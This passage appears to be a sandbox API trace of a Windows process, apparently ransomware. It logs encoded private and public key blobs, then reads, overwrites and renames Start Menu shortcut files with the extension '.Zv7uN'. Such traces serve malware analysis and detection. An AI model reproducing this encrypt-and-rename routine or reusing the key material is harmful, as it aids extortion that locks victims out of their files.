lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.700] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.701] GetCurrentThreadId () returned 0xa30 [0132.701] GetCurrentThreadId () returned 0xa30 [0132.701] GetCurrentThreadId () returned 0xa30 [0132.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.702] GetCurrentThreadId () returned 0xa30 [0132.702] GetCurrentThreadId () returned 0xa30 [0132.702] GetCurrentThreadId () returned 0xa30 [0132.702] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.702] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.702] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.702] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4f4 [0132.703] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.703] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4f4, lpOverlapped=0x0) returned 1 [0132.709] CloseHandle (hObject=0x1e8) returned 1 [0132.709] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.712] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4f4, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4f4, lpOverlapped=0x0) returned 1 [0132.715] CloseHandle (hObject=0x1e8) returned 1 [0132.716] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Memory Diagnostics Tool.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\memory diagnostics tool.lnk.zv7un")) returned 1 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] GetCurrentThreadId () returned 0xa30 [0132.717] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Performance Monitor.lnk", cAlternateFileName="PERFOR~1.LNK")) returned 1 [0132.717] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.717] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.718] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0132.718] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\performance monitor.lnk")) returned 0x20 [0132.719] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Performance Monitor.lnk", dwFileAttributes=0x80) returned 1 [0132.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 